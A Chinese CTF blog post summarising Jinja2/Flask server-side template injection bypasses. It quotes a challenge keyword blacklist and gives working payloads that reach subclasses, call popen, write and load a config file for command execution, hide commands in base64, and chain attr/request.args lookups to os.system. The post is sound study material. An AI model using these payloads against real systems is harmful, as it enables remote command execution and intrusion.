寒假前最后一篇文章
说来也巧,前两天在ichunqiu上连续做了两道题居然都是模板注入。搜索资料之余也涨了不少见识,下面总结下这类题目的bypass技巧:(感谢各位dalao们的文章)
先拿去年校赛的SSTI源码中的黑名单看看:
blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
做这类题目最要命的是什么?当然是限制类的访问,再进一步的话,对os的限制让我们不能轻易进行文件读取。
所以有了以下一个绕掉限制类的方法:
{{ session['__cla'+'ss__'] }}
首先由于session是dict对象,使我们可以通过键名来访问类。时候只需要一直访问基类即可回到ssti的常规payload上去。
{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}.['__subcla'+'ss__']()
到这一步没有问题的话,就大有可为了。因为可以从回显的子类中挑选自己需要的类去进行后续操作。
之前看dalao的wp中总结的非常到位:
SSTI目的无非就是两个:文件读写、getshell。因此我们核心应该放在file类和os类
然后通过实例化后全局变量这一宝藏来进行文件读取。
.__init__.__globals__['po'+'pen']('ls /').read()
当然,像上面这种绕过还算友好。而做到ichunqiu中的FUZZ时,自己发现,实例化后到globals这一步就利用不了了,极有可能连globals关键字都waf了。
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD
{{ config.from_pyfile('/tmp/owned.cfg') }}
触发编译进程,向config对象添加一个新项
{{ config['RUNCMD']('id(操作)',shell=True) }}
达到命令执行的效用。
其中如果为了应付过滤的话,操作就变得多样了起来,比如利用管道符加上base64编码可以绕过检查,执行ls -la
{{config['RUNCMD']('`echo bHMgLWxh|base64 -d`',shell=True)}}
http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("ls")
完全杜绝了标点的使用。达到了注入的效果。
大抵上如此。
这段时间因为马上准备复习期末了,所以不会再更新文章或者参加比赛。好好沉淀一下吧。